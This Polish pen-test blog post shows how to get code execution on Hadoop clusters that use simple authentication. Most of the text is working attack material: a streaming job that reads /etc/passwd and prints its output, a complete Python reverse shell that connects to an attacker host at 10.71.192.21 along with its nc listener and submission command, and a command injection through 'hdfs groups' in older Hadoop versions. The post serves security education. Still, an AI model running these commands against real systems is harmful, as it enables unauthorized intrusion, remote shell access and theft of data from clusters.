Słonie leżą na betonie, czyli kolejne strzały do Hadoopa
Napisał: Patryk Krawaczyński
05/10/2017 w Pen Test Brak komentarzy. (artykuł nr 640, ilość słów: 1369)
W nawiązaniu do przeglądania danych na Hadoopie poprzez “ukryty” URL – /browseDirectory.jsp spróbujmy dzisiaj dostać się do jego serwerów. Podobnie, jak Mesos Hadoop jest frameworkiem do rozproszonego przetwarzania zadań… więc po prostu rozprasza zadania do wykonania na klastrze. W prostym modelu uwierzytelniania bez żadnego filtrowania sieciowego dla wystawionych usług możemy dowolnie wykonać polecenia na węzłach klastra za pomocą zadań MapReduce. Nie musimy nawet potrafić pisać poprawnego kodu w języku Java.
Do demonstracji przykładowego wykonania kodu możemy wykorzystać narzędzie o nazwie Hadoop streaming, które jest dostarczane z każdą dystrybucją Hadoopa. Pozwala ono na tworzenie zadań typu Map/Reduce w dowolnym, wykonywalnym skrypcie jako mapper lub/i reduktor. Odpalmy proste zadanie, które “ukradnie” nam plik /etc/passwd
:
agresor@darkstar:~$ hadoop jar /usr/lib/hadoop-mapreduce/hadoop-streaming.jar -input \ /user/agresor/smieci -output /user/agresor/password_tief -mapper "/bin/cat /etc/passwd" \ -reducer NONE
Po przetworzeniu zadania:
packageJobJar: [] [/usr/lib/hadoop-mapreduce/hadoop-streaming.jar] /tmp/streamjob996644449454425429.jar tmpDir=null 17/09/18 16:34:14 INFO client.ConfiguredRMFailoverProxyProvider: Failing over to rm4 17/09/18 16:34:15 INFO mapred.FileInputFormat: Total input paths to process : 1 17/09/18 16:34:16 INFO mapreduce.JobSubmitter: number of splits:2 17/09/18 16:34:17 INFO mapreduce.JobSubmitter: Submitting tokens for job: job_1505390457415 17/09/18 16:34:18 INFO impl.YarnClientImpl: Submitted application application_1505390457415 17/09/18 16:34:18 INFO mapreduce.Job: The url to track the job: http://hadoop:8088/proxy/application_1505390457415/ 17/09/18 16:34:18 INFO mapreduce.Job: Running job: job_1505390457415 17/09/18 16:34:33 INFO mapreduce.Job: Job job_1505390457415 running in uber mode : false 17/09/18 16:34:33 INFO mapreduce.Job: map 0% reduce 0% 17/09/18 16:35:02 INFO mapreduce.Job: map 100% reduce 0% 17/09/18 16:35:04 INFO mapreduce.Job: Job job_1505390457415 completed successfully 17/09/18 16:35:04 INFO mapreduce.Job: Counters: 31 File System Counters FILE: Number of bytes read=0 FILE: Number of bytes written=247681 FILE: Number of read operations=0 FILE: Number of large read operations=0 FILE: Number of write operations=0 HDFS: Number of bytes read=205097 HDFS: Number of bytes written=4186 HDFS: Number of read operations=10 HDFS: Number of large read operations=0 HDFS: Number of write operations=4 Job Counters Killed map tasks=2 Launched map tasks=4 Rack-local map tasks=4 Total time spent by all maps in occupied slots (ms)=98596 Total time spent by all reduces in occupied slots (ms)=0 Total time spent by all map tasks (ms)=49298 Total vcore-seconds taken by all map tasks=49298 Total megabyte-seconds taken by all map tasks=63101440 Map-Reduce Framework Map input records=1215 Map output records=80 Input split bytes=238 Spilled Records=0 Failed Shuffles=0 Merged Map outputs=0 GC time elapsed (ms)=98 CPU time spent (ms)=2340 Physical memory (bytes) snapshot=735612928 Virtual memory (bytes) snapshot=3436072960 Total committed heap usage (bytes)=2058092544 File Input Format Counters Bytes Read=204859 File Output Format Counters Bytes Written=4186 17/09/18 16:35:04 INFO streaming.StreamJob: Output directory: /user/agresor/password_tief
Możemy sprawdzić plik z wynikami:
agresor@darkstar:~$ hdfs dfs -ls /user/agresor/password_tief Found 3 items -rw-r--r-- 3 agresor agresor 0 2017-09-18 16:35 /user/agresor/password_tief/_SUCCESS -rw-r--r-- 3 agresor agresor 2093 2017-09-18 16:35 /user/agresor/password_tief/part-00000 -rw-r--r-- 3 agresor agresor 2093 2017-09-18 16:35 /user/agresor/password_tief/part-00001 agresor@darkstar:~$ hdfs dfs -cat /user/agresor/password_tief/part-00000 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false landscape:x:103:108::/var/lib/landscape:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin yarn:x:107:115:Hadoop YARN,,,:/var/lib/hadoop-yarn:/bin/bash mapred:x:108:116:Hadoop MapReduce,,,:/var/lib/hadoop-mapreduce:/bin/bash hdfs:x:109:117:Hadoop HDFS,,,:/var/lib/hadoop-hdfs:/bin/bash hive:x:110:118:Hive User,,,:/var/lib/hive:/bin/false ntp:x:112:120::/home/ntp:/bin/false snmp:x:114:121::/var/lib/snmp:/bin/false postfix:x:117:126::/var/spool/postfix:/bin/false
Zdolność do wykonywania poleceń na klastrze ma kluczowe znaczenie dla atakujących, aby mogli zebrać interesujące ich dane. Jednak wykonywanie tego procesu, za pomocą puszczania każdorazowo zadań nie jest szczytem szybkości. Dlatego dla szybszego zwiadu i prostszej komunikacji użyjemy naszej ulubionej techniki, czyli powłoki zwrotnej (ang. reverse shell):
#!/usr/bin/env python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.71.192.21",1234)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
Zanim uruchomimy ten prosty skrypt na klastrze musimy na serwerze o adresie IP 10.71.192.21 nastawić nasłuch na porcie 1234):
agresor@stardust:~$ nc 10.71.192.21 -l 1234
Czas wrzucić skrypt na HDFS oraz uruchomić zadanie, które go odpali:
agresor@darkstar:~$ hadoop jar /usr/lib/hadoop-mapreduce/hadoop-streaming.jar -input \ /user/agresor/smieci -output /user/agresor/reverse_shell -mapper "./reverse.py" - file \ reverse.py -reducer NONE -background packageJobJar: [reverse.py] [/usr/lib/hadoop-mapreduce/hadoop-streaming.jar] /tmp/streamjob6674867598964482762.jar tmpDir=null 17/09/19 13:57:56 INFO client.ConfiguredRMFailoverProxyProvider: Failing over to rm4 17/09/19 13:57:57 INFO mapred.FileInputFormat: Total input paths to process : 1 17/09/19 13:57:57 INFO mapreduce.JobSubmitter: number of splits:2 17/09/19 13:57:57 INFO mapreduce.JobSubmitter: Submitting tokens for job: job_1505390457415 17/09/19 13:57:57 INFO impl.YarnClientImpl: Submitted application application_1505390457415 17/09/19 13:57:58 INFO mapreduce.Job: The url to track the job: http://hadoop:8088/proxy/application_1505390457415/ 17/09/19 13:57:58 INFO streaming.StreamJob: Job is running in background. 17/09/19 13:57:58 INFO streaming.StreamJob: Output directory: /user/agresor/reverse_shell
Jak już zadanie zostanie przydzielone konkretnemu serwerowi (ze względu na rozproszoną naturę tego systemu nie jest możliwe sterowanie, na którym serwerze wyląduje nasz skrypt) powinniśmy zauważyć aktywność na naszym serwerze nasłuchującym. Tym samym jesteśmy w stanie wykonywać polecenia na serwerze klastra Hadoop:
agresor@stardust:~$ nc 10.71.192.21 -l 1234 /bin/sh: 0: can't access tty; job control turned off $ uname -a Linux hadoop1.lan 4.4.0-45-generic #66~14.04.1-Ubuntu SMP Wed Oct 19 15:05:38 UTC
Inna, ciekawa podatność również związana z wykonywaniem poleceń kryje się za wersjami 2.6.x < 2.6.5 oraz 2.7.x < 2.7.3 (szczegóły). Jeśli klaster posiada ustawioną opcję hadoop.security.group.mapping na wartość:
<property> <name>hadoop.security.group.mapping</name> <value>org.apache.hadoop.security.ShellBasedUnixGroupsMapping</value> </property>
w pliku core-site.xml
(nie jest to standardowe ustawienie) to istnieje możliwość wykonania poleceń jako użytkownik hdfs. Luka polega na tym, że polecenie zwracające grupy do których należy dany użytkownik, nie filtruje parametru w postaci nazwy użytkownika i przekazuje go w pierwotnie wprowadzonej postaci do polecenia: bash -c
:
agresor@darkstar:~$ hdfs groups '$(ping 127.0.0.1)' agresor@darkstar:~$ ps aux | grep 'ping 12' ... hdfs 6227 0.0 0.0 15484 764 ? S 13:24 0:00 bash -c id -gn $(ping 127.0.0.1) hdfs 6228 0.0 0.0 14732 868 ? S 13:24 0:00 ping 127.0.0.1 ...
Jako użytkownik hdfs jesteśmy w stanie uzyskać dostęp do całego rozproszonego systemu plików, a także do powłoki na serwerze typu NameNode. Błąd ten został naprawiony 2 sierpnia 2016 r.
Więcej informacji: Hadoop Attack Library, Hadoop Safari